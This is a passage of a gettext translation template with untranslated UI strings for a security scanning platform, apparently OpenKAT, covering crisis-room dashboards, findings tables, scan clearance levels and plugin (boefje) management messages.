crisis_room/templates/organization_crisis_room.html\n#: rocky/templates/header.html\nmsgid \"Crisis room\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room.html\nmsgid \"Crisis room overview for all organizations.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"Dashboards\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"\"\n\"On this page you can see an overview of the dashboards for all \"\n\"organizations. **More context can be written here**\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"dashboards\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"There are no dashboards to display.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Findings overview\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"\\n\"\n\"                            This overview shows the total number of findings \"\n\"per\\n\"\n\"                            severity that have been identified for all \"\n\"organizations.\\n\"\n\"                            This data is based on the latest Crisis Room \"\n\"Findings Report\\n\"\n\"                            of each organization.\\n\"\n\"                        \"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"Findings per organization\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"This table shows the findings that have been identified for each \"\n\"organization, sorted by the finding types and grouped by organizations. This \"\n\"data is based on the latest Crisis Room Findings Report of each organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"No findings have been identified yet. As soon as they have been identified, \"\n\"they will be shown on this page.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"There are no organizations yet. After creating an organization, the \"\n\"identified findings will be shown here.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/organization_crisis_room_header.html\nmsgid \"Crisis room navigation\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/findings_report/report.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/ooi_report_findings_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/views/finding_list.py rocky/views/finding_type_add.py\n#: rocky/views/ooi_view.py\nmsgid \"Findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Options for dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Show all descriptions\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Hide all descriptions\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\nmsgid \"Delete dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"\"\n\"There are no dashboards yet. Click on \\\"Add dashboard\\\" to create a new \"\n\"dashboard.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Object list\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Finding list\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Report section\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"There are no dashboard items added yet.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"\"\n\"You can add dashboard items via the filters on the objects and findings page \"\n\"or you can add a report section.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add report section\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\nmsgid \"Add dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Findings per organization overview\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/finding_type.py\nmsgid \"Finding types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrences\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Highest risk level\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Critical finding types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Details\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Close details\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Open details\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"\"\n\"This overview shows the total number of findings per severity that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"Critical and high findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"This table shows the top 25 critical and high findings that have been \"\n\"identified for this organization, grouped by finding types. A table with all \"\n\"the identified findings can be found in the Findings Report.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"No findings have been identified. Check report for more details.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"View findings report\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Edit report recipe\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\n#, python-format\nmsgid \"Showing %(length)s findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\nmsgid \"Go to findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings table \"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"column headers with buttons are sortable\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding)s\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Tree\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Graph\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html rocky/views/mixins.py\nmsgid \"Severity\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Finding\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Finding type\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding_type)s\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"OOI type\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show %(ooi_type)s objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/views/mixins.py\nmsgid \"Location\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#, python-format\nmsgid \"Show details for %(ooi)s\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Risk score\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/normalizer_detail.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/report_asset_overview.html tools/forms/boefje.py\n#: tools/forms/finding_type.py rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_findings_list.html rocky/templates/scan.html\nmsgid \"Description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Recommendation\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/vulnerability_report/report.py\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail_origins_inference.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Source\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Impact\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Options for dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Show description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Hide description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Position up\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Position down\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Rerun report\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\nmsgid \"Delete item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\n#, python-format\nmsgid \"Showing %(length)s objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\nmsgid \"Go to objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Objects \"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#, python-format\nmsgid \"Are you sure you want to delete '%(name)s' from this dashboard?\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: katalogus/templates/plugin_settings_delete.html\n#: katalogus/views/plugin_settings_delete.py\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/partials/delete_ooi_modal.html rocky/views/ooi_delete.py\nmsgid \"Delete\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete dashboard '%(dashboard)s'? All the items on \"\n\"the dashboard will be deleted as well.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Actions for adding dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Add item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: tools/view_helpers.py rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html rocky/views/ooi_add.py rocky/views/ooi_list.py\n#: rocky/views/ooi_view.py rocky/views/upload_csv.py rocky/views/upload_raw.py\nmsgid \"Objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"Add dashboard item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"\"\n\"To  add a <strong>report section</strong>, go to the history page and open a \"\n\"report. Then go to the section that you want to add to your dashboard and \"\n\"press the options button next to the section name to create a dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"Go to report history\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"    Add %(item_type)s to dashboard\\n\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"Add these %(item_type)s with the selected filters to the dashboard of your \"\n\"choice.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: katalogus/templates/partials/no_enabling_permission_message.html\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"explanation\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"You do not have a custom dashboard yet\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"In order to add these %(item_type)s to a dashboard, you first need to create \"\n\"a dashboard. Please add a dashboard in the crisis room of your organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Add to dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Go to crisis room\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Add report section to dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"\"\n\"In order to add this report section to a dashboard, you first need to create \"\n\"a dashboard. Please create a dashboard in the crisis room of your \"\n\"organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Report must be scheduled for dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"\"\n\"In order for dashboard information to be updated on a regular basis instead \"\n\"of showing static data, the report should be scheduled. The frequency of the \"\n\"schedules recurrence determines how fresh the data on the dashboard will be.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Applied filters\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Object types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: katalogus/templates/change_clearance_level.html onboarding/forms.py\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/boefje.py\n#: tools/forms/ooi.py rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html rocky/views/mixins.py\nmsgid \"Clearance level\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/views/mixins.py\nmsgid \"Clearance type\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Input objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Show all objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"No filters applied\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_section_action_button.html\nmsgid \"Add section to dashboard\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"\"\n\"The KATalogus has an unexpected error. Check the logs for further details.\"\nmsgstr \"\"\n\n#: katalogus/client.py\n#, python-format\nmsgid \"An HTTP %d error occurred. Check logs for more info.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"An HTTP error occurred. Check logs for more info.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this name already exists.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this ID already exists.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Access to resource not allowed\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to see plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to set plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to delete plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to view plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to access the other organization\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to enable plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to disable plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to create plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to edit plugins\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Show all\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Disabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Enabled-Disabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Disabled-Enabled\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Filter options\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Sorting options\"\nmsgstr \"\"\n\n#: katalogus/forms/plugin_settings.py\nmsgid \"This field is required.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html\n#: katalogus/templates/partials/plugins_navigation.html\nmsgid \"About plugins\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/katalogus.html\nmsgid \"\"\n\"Plugins gather data, objects and insight. Each plugin has its own focus area \"\n\"and strengths and may be able to work with other plugins to gain even more \"\n\"insights.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/boefjes.html\nmsgid \"\"\n\"Boefjes are used to scan for objects. They detect vulnerabilities, security \"\n\"issues, and give insight. Each boefje is a separate scan that can run on a \"\n\"selection of objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/normalizers.html\nmsgid \"\"\n\"Normalizers analyze the information and turn it into objects for the data \"\n\"model in Octopoes.\"\nmsgstr \"\"\n\n#: katalogus/templates/about_plugins.html\nmsgid \"\"\n\"Bits are business rules that look for insight within the current dataset and \"\n\"search for specific insight and draw conclusions.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan level\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\nmsgid \"Consumes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to scan the following object types:\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s does not need any input objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Produces\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#, python-format\nmsgid \"%(plugin_name)s can produce the following output:\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s doesn't produce any output mime types.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje variant setup\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/ooi_edit.py rocky/views/organization_edit.py\nmsgid \"Edit\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Boefje setup\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"\"\n\"You can create a new Boefje. If you want more information on this, you can \"\n\"check out the <a href=\\\"https://docs.openkat.nl/developer_documentation/\"\n\"development_tutorial/creating_a_boefje.html\\\">documentation</a>.\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Save changes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard changes\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create variant\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard variant\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Create new Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefje_setup.html\nmsgid \"Discard new Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefjes.html\nmsgid \"Add Boefje\"\nmsgstr \"\"\n\n#: katalogus/templates/boefjes.html katalogus/templates/katalogus.html\n#: katalogus/templates/normalizers.html\nmsgid \"available\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"scan level warning\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"%(plugin_name)s will only scan objects with a corresponding clearance level \"\n\"of <strong>L%(scan_level)s</strong> or higher.\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Scan object\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#, python-format\nmsgid \"\"\n\"The following objects are not yet cleared for level %(scan_level)s, please \"\n\"be advised that by continuing you will declare a level %(scan_level)s on \"\n\"these objects.\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected objects\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html rocky/views/mixins.py\nmsgid \"Object\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\nmsgid \"Are you sure you want to scan anyways?\"\nmsgstr \"\"\n\n#: katalogus/templates/change_clearance_level.html\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Scan\"\nmsgstr 